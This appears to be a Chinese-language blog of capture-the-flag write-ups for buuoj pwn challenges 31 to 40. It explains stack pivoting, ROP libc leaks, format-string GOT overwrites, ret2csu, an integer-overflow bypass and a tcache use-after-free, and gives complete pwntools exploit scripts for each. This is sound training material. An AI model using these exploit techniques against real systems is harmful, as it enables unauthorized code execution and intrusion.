buuoj Pwn writeup 31-40

31 [Black Watch 入羣題]PWN

這個題有問題,就給了個附件,給的鏈接nc都連不上,做做題算了。

保護
在這裏插入圖片描述在這裏插入圖片描述可以往bss上寫東西,然後有個溢出,但是溢出有限,只能覆蓋到返回地址。
因爲開了NX,所以不能寫shellcode,因爲溢出有限,所以先想到的是棧遷移。

把棧遷移到bss上,構造ROP,通過write函數泄露libc地址,然後就在bss上一把梭。

寫法很多,我這裏的話就直接先把’/bin/sh\x00’先寫在了bss的位置。

exp

from pwn import*
from LibcSearcher import*

#r = remote('node3.buuoj.cn', 26463)
r = process('./31')

context.log_level = "debug"

elf = ELF('./31')

bss_addr = 0x804A300
leave_ret = 0x08048408
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']

gdb.attach(r)

payload1 = '/bin/sh\x00' + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.sendafter('What is your name?', payload1)

payload2 = 'a' * 0x18 + p32(bss_addr + 4) + p32(leave_ret)
r.sendafter('What do you want to say?', payload2)

write_addr = u32(r.recv(4))
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')

print hex(write_addr)

payload1 = '/bin/sh\x00' + p32(system_addr) + 'aaaa' + p32(bss_addr)
r.sendafter('What is your name?', payload1)

payload2 = 'a' * 0x18 + p32(bss_addr + 4) + p32(leave_ret)
r.sendafter('What do you want to say?', payload2)

r.interactive()

題目有問題,沒有給libc,LibcSearcher匹配到的libc也不對,但是思路跟腳本肯定沒問題。

然後要注意一個東西

第二個send那裏,寫send的話就對,但是寫sendline就不對,爲啥呢,因爲read只讀20個,但是你發了21個,最後一個’\n’會在下一個send時候一起發出去,錯誤的時候效果圖如下。

在這裏插入圖片描述
就會出現這種問題。

32 [BJDCTF 2nd]r2t4

保護
在這裏插入圖片描述
在這裏插入圖片描述
格式化字符串漏洞,剛開始的想法是隻要把返回地址改成後門函數那裏就好了。但是需要寫的是一個大數字,題目給的一些條件不允許我們在棧上寫一個大數字。


所以我們只能是改一改其他地方的東西。

第一種是改__stack_chk_fail
這個函數是如果存在棧溢出的話就執行這個,說白了是因爲開啓了canary帶來的效果,所以我們就把這個函數的got表改成後門函數,其實寫大數的話保險點應該是一個字節一個字節寫,但是buf大小限制,所以還是兩個字節那樣寫吧。

from pwn import *

r = remote("node3.buuoj.cn",26360)
elf = ELF('./33')
__stack_chk_fail = elf.got['__stack_chk_fail']

payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
r.sendline(payload)
r.interactive()

還有一種比較厲害,實現起來也稍稍複雜的更普遍性的做法。
可以利用第一次格式化字符串漏洞把.fini_array給改掉,改成main函數,那麼我們首先就實現了一個循環利用,讓我們可以有更多的格式化字符串漏洞,更多的利用方式。然後我們可以把printf的got改掉,改成system,這樣就可以了。

這個題的話也可以直接把.fini_array改成backdoor。

exp的話跟上面那個其實差不多,就不再寫了。

33 jarvisoj_level3

保護
在這裏插入圖片描述
在這裏插入圖片描述
明顯的一個棧溢出,溢出大小還正好能夠通過write函數泄露地址然後一把梭。


exp

from pwn import*


#r = remote('node3.buuoj.cn',27964)
r = process('./32')

elf = ELF('./32')
libc = ELF('./libc-2.29.32.so')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']

payload = 'a' * 0x8c + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 

r.sendafter('Input:\n', payload)

write_addr = u32(r.recv(4))

print hex(write_addr)

libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()

print hex(libc_base)

payload = 'a' * 0x8c + p32(system_addr) + p32(main_addr) + p32(bin_sh)

r.sendafter('Input:\n', payload)

r.interactive()

34 jarvisoj_fm

保護
在這裏插入圖片描述在這裏插入圖片描述大寫的格式化字符串漏洞。

進行一個任意地址的小數字寫入。

在這裏插入圖片描述
x在data段,是可讀寫的。

所以直接寫就好了。

exp

from pwn import*

r = remote('node3.buuoj.cn', 29261)

x_addr = 0x804A02C

payload = 'aaaa%14$naaa' + p32(x_addr)
r.sendline(payload)

r.interactive()

35 [BJDCTF 2nd]test

在這裏插入圖片描述
ssh是個啥,我也不知道

ssh1

那麼開始解題

ssh -p 26161 [email protected]

先連上。

在這裏插入圖片描述

在這裏插入圖片描述裏面三個文件,flag,test,跟test的源碼,直接讀flag不能,權限不夠,那麼只能考慮通過test提權。

在這裏插入圖片描述
程序大概內容就是能夠輸入指令,這個時候的指令是足夠提權的,但是程序對指令做了過濾。

ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"

-v 命令排除
-E 多個內容
/usr/bin/ /bin/ 可以把所有命令列出來

這個句子可以查詢一下還有啥命令能用

在這裏插入圖片描述
發現裏面有x86_64命令,這個命令是幹嘛的。

其實我也不大清楚,看了看x86_64的手冊

更改報告的體系結構並設置個性標誌。

先記着吧。

在這裏插入圖片描述
拿到flag

36 jarvisoj_tell_me_something

保護
在這裏插入圖片描述在這裏插入圖片描述進去就有個溢出

在這裏插入圖片描述又發現有個這函數,分析一下。
首先開了個文件,指針v0。

fgetc函數
C 庫函數 int fgetc(FILE *stream) 從指定的流 stream 獲取下一個字符(一個無符號字符),並把位置標識符往前移動。

所以看半天就是會輸出flag

我們就覆蓋過去就行。

但是要注意的是什麼呢
在這裏插入圖片描述
看他最後的返回,並不是常用的leave|ret,而是直接add|ret,這其實是編譯的優化,用來省寄存器。

所以寫exp的時候就不用考慮覆蓋rbp了

exp

from pwn import*

r = remote('node3.buuoj.cn', 25451)

good_addr = 0x400620

payload = 'a' * 0x88 + p64(good_addr)
r.sendlineafter('Input your message:\n', payload)

r.interactive()

37 jarvisoj_level4

保護
在這裏插入圖片描述在這裏插入圖片描述又是個平平無奇的溢出。

exp

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 26826)
elf = ELF("./37")

read_got = elf.got["read"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]

payload = "a" * 0x8c + p32(write_plt)
payload += p32(main_addr)
payload += p32(1) + p32(read_got) + p32(4)
r.sendline(payload)

read_addr = u32(r.recvuntil("\xf7")[-4:])

#read_addr = u32(r.recv(4)) 也行,但是上面的更普遍一點。

libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload)

r.interactive()

38 bjdctf_2020_babystack2

保護
在這裏插入圖片描述
在這裏插入圖片描述
判斷輸入的大小,你看它寫的太明顯了,上面nbytes前面是int,下面就又是unsigned int,整數溢出,然後又有後門函數,就搞定了。


exp

from pwn import*

context.log_level = "debug"

r = remote('node3.buuoj.cn', 28944)

backdoor = 0x400726

payload = 'a' * 0x18 + p64(backdoor)
r.sendlineafter('[+]Please input the length of your name:\n', '-1')
#記得-1要加引號
r.sendlineafter('[+]What\'s u name?', payload)
r.interactive()

39 jarvisoj_level3_x64

保護
在這裏插入圖片描述在這裏插入圖片描述
這題也是一言難盡。

ROPgadget
在這裏插入圖片描述
你會發現他沒有rdx。

但是其實我們在動態調試的時候你會發現,rdx是200,是足夠大的。

在這裏插入圖片描述
所以可以直接寫。

那我們再來說一說萬一不是0x200咋辦。

就可以直接ret2csu。

在這裏插入圖片描述
通過libc_csu_init裏面的gadget來構造我們的ROP。

exp

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 25360)
elf = ELF("./level3_x64")

read_got = elf.got["read"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1

payload = "a" * 0x88
payload += p64(pop_rdi_ret) + p64(1)						
payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0)	
payload += p64(write_plt)									
payload += p64(main_addr)									
r.sendlineafter("Input:", payload)

read_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, "\x00"))	
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload = "a" * 0x88
payload += p64(pop_rdi_ret) + p64(binsh_addr)
payload += p64(system_addr)
r.sendlineafter("Input:", payload)

r.interactive()

40 [BJDCTF 2nd]ydsneedgirlfriend2

保護
在這裏插入圖片描述在這裏插入圖片描述
菜單題
果真他就又是個堆。


三個函數,增,刪,跟展示。
一個一個分析。

這個是增。
在這裏插入圖片描述
剛開始就判斷數量,然後還判斷其他亂七八糟的,然後就增加女朋友,但是你發現,它始終是在對gf[0]進行操作,所以其實它看着是最多七個女朋友,其實就一個。

gf的結構是這樣的。
在這裏插入圖片描述
再看看dele函數。
在這裏插入圖片描述
這函數看似沒啥問題,但是首先從邏輯上來說,我們本來就一個女朋友,所以free的時候根本就可以在free別的地方。
然後呢,free後也沒有清理指針,就造成了UAF。




在這裏插入圖片描述這輸出也是看似正常,如果gf[v]裏面有東西的話,就調用那個函數,輸出名字。
但是其實一般來講不會有東西的,因爲我們始終只有一個女朋友,所以你輸其它的女朋友就啥都打不出來。

那麼怎麼利用?

我們發現有後門函數。
在這裏插入圖片描述
便於理解,利用過程展示一下。

申請一個0x10的名字,然後都釋放掉,它倆都是0x20大小,就會進入tcachebins。先釋放的是0x1fd4280.
在這裏插入圖片描述
0x1fd4260裏面還放着後面那個80的地址。
在這裏插入圖片描述
再add一下,就變成了下面這樣
在這裏插入圖片描述會發現tcache是後進先出,而且你會發現,爲啥第一次add就是會申請兩個chunk,但是第二次明顯只申請了一個chunk。




是因爲這個。
在這裏插入圖片描述所以現在gf[0]裏面放着的是第一的時候申請的chunk地址即0x1fd4260。
在這裏插入圖片描述
然後gf放puts函數的地方現在放着的是system的地址,通過最後那一次show,就可以拿到shell。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章